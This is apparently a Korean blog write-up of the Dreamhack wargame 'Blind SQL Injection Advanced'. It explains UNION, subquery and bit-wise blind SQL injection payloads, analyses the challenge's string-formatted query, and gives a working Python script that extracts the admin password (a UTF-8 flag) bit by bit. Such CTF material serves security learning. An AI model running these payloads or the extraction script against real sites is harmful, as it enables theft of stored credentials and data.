security/웹해킹

[Dreamhack Wargame] Blind SQL Injection Advanced

민사민서 2023. 7. 14. 00:31

SQL Injection Techniques

- UNION: 앞과 뒤의 컬럼의 개수가 동일해야 함 (일부 DBMS에서는 컬럼 타입까지 check)

SELECT * FROM users UNION SELECT upw, 1 from users where uid='admin';--

- 서브쿼리: 한 쿼리 내에 또 다른 쿼리를 사용 (다른 테이블에 접근하거나 SELECT 구문 추가로 사용 가능)

SELECT * FROM users WHERE username IN (SELECT "admin" UNION SELECT "guest");

- if문: 비교 구문을 이용해 data leak 가

SELECT uid FROM users WHERE uid='DUMMY' UNION SELECT if(substr(upw,1,1)='B', 'admin', 'not admin') from users where uid='admin';--

 

Blind SQL Injection Techniques

- Binary Search: ascii 값 크기 비교를 통한 이진 탐색을 진행한다 // printable ascii = 32 ~ 126

SELECT * FROM users WHERE username='admin' and ascii(substr(password,1,1))>79;

- Bit 연산: 숫자를 비트 형태로 변환하는 bin 함수와 substr 함수를 이용해 각 비트의 값을 구함

// 총 7번의 쿼리로 7bit = ascii letter 한 바이트를 파악할 수 있다

SELECT * from users where uid='admin' and substr(bin(ord(upw,1,1)),1,1)=1;
SELECT * from users where uid='admin' and substr(bin(ord(upw,1,1)),2,1)=0;
...

 

문제 분석

    if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

uid로 row 가져오는 간단한 쿼리문이고

{% if nrows == 1%}
    <pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}

결과 존재하면 exists 문자열이 화면에 뜬다

CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `user_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

column 3개이므로 UNION할 때 고려해야 하며, utf8 인코딩되어있다 (플래그는 한글 + 아스키코드)

 

cf) UTF-8 인코딩이란

- Unicode Transformation Format - 8bit, 유니코드를 위한 가변 길이 문자 인코딩 방식

- 한 글자가 1~4바이트 중 하나로 인코딩될 수 있으며, 1바이트 영역은 아스키 코드와 하위 호환성을 가진다

- 한글 문자는 3바이트를 차지

print(0xec9db4.to_bytes(4, byteorder="big").decode('UTF-8')) # 이
print('가'.encode('UTF-8')) # b'\xe3\x84\xb1'

// 파이썬으로는 encode(), decode(), 숫자를 big endian byte 배열로 만들어주는 to_bytes()를 사용해 변환 가능하겠다

 

문제 풀이

한글+아스키코드 구성임을 보자마자 이진탐색은 컷, bit 비교를 해야겠다 생각

 

STEP1: bit 연산 제대로 작동함을 확인

admin 계정의 upw 첫글자 D = 1000100, msb가 1인지 확인
admin 계정의 upw 첫글자 D = 1000100, msb가 0인지 확인

 

처음에는 substr(~)=0; / substr(~)=1; 두 쿼리에 대해 아무런 결과가 안 나오면 다음 글자로 넘어가려고 했으나

글자의 bit 수를 넘어가도 substr(~)=0; 쿼리가 결과를 리턴하더라(???)

admin 계정의 upw 첫 글자 D=1000100 (7bit), 하지만 8번째 bit도 0 이라고 나오네

글자와 글자 구분하려면 그냥 각 글자의 bit 수를 파악하자

 

STEP2: 각 글자의 bit 수 확인 (7~24bit 범위이므로 그냥 순차 탐색 해도 될 듯)

admin 계정의 upw 첫 글자 D=1000100 (7bit)

 

STEP3: 각 글자의 코드 값 확인 후 UTF-8 디코딩

 

exploit 코드는

import requests

url = "http://host3.dreamhack.games:21441/?uid="
flag = 'DH{'
idx = 4
while True:
    # bit 길이 구하기
    bit_len = 1
    while True:
        payload = "admin' and length(bin(ord(substr(upw,{idx},1))))<={bit_len};--".format(idx=idx, bit_len=bit_len)
        if "exists" in requests.get(url+payload).text:
            break
        bit_len += 1
    
    # 각 bit 구하기
    res = 0
    for i in range(1,bit_len+1):
        res *= 2
        payload = "admin' and substr(bin(ord(substr(upw,{idx},1))),{i},1)=1;--".format(idx=idx, i=i)
        if "exists" in requests.get(url+payload).text:
            res += 1

    # UTF-8 (1~4바이트) 디코딩 필요
    flag += res.to_bytes(4, byteorder="big").decode('UTF-8')
    print(flag)
    if res==125: # '}'
        break
    idx += 1